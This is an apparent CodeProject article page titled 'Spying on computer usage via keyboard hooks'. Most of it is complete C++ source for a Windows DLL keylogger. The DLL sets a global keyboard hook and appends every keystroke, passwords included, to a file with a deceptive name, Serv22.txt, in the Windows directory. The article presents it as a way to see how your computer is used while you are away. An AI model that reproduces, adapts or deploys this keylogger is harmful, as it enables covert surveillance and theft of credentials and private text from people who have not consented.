Click here to Skip to main content
15,893,190 members
Articles / Programming Languages / C++

Spying on computer usage via keyboard hooks

Rate me:
Please Sign up or sign in to vote.
4.22/5 (8 votes)
22 Sep 20012 min read 103.5K   2.6K   49  
This program can be used to find out how your computer is being used while you are away.
////////////////////////////////////////////////////////////////////
// 	  This program is done by Hirosh Joseph from india            //
//       Email hirosh@hirosh.com	        		              //	
//       Website www.hirosh.com,www.hirosh.net,www.hirosh.org     // 
// 	  I always welcome to ur valuble comments                     // 
////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "ddd.h"
#include "resource.h"
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
static HHOOK hkm=NULL;
FILE *f1;
#pragma data_seg()


HINSTANCE hins;
char a[MAX_PATH];

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	hins=(HINSTANCE)hModule;
	strcpy(a,"");
	GetWindowsDirectory(a,MAX_PATH);
	strcat(a, "\\Serv22.txt" ); 
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }
    return TRUE;
}


LRESULT  CALLBACK KeyboardProc(
                            int nCode, 
                           WPARAM wParam, 
                            LPARAM lParam)
{

char ch;			
//if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
if ((lParam<1)  &&(HC_ACTION==nCode))	
	{		
	if((wParam==VK_DELETE)||(wParam==VK_BACK))
	{
	f1=fopen(a,"a+");
	char *cc="Delk ";
	fwrite(cc,1,5,f1);
	fclose(f1);
	}

	if (wParam==VK_TAB)
	{f1=fopen(a,"a+");
	char *cc="  ";
	fwrite(cc,1,3,f1);
	fclose(f1);
	}	
	if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
	{
	f1=fopen(a,"a+");
	
	if (wParam==VK_RETURN)
	{	ch='\n';
		fwrite(&ch,1,1,f1);
	}
    else
	{
   	BYTE ks[256];
    GetKeyboardState(ks);
	WORD w;
	UINT scan;
	scan=0;
	ToAscii(wParam,scan,ks,&w,0);
	ch =char(w); 
	fwrite(&ch,1,1,f1);
	}
    fclose(f1);
	}
  
}

LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );	

return  RetVal;

}
DDD_API BOOL installhook()
{

f1=fopen(a,"a+");
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);

return TRUE;
}
DDD_API BOOL  UnHookkb()
    {
    	
     BOOL unhooked = UnhookWindowsHookEx(hkb);
      return unhooked;
} 
///////////////////////////////////////////////////////////

By viewing downloads associated with this article you agree to the Terms of Service and the article's licence.

If a file you wish to view isn't highlighted, and is a text file (not binary), please let us know and we'll add colourisation support for it.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here


Written By
United States United States
This member has not yet provided a Biography. Assume it's interesting and varied, and probably something to do with programming.

Comments and Discussions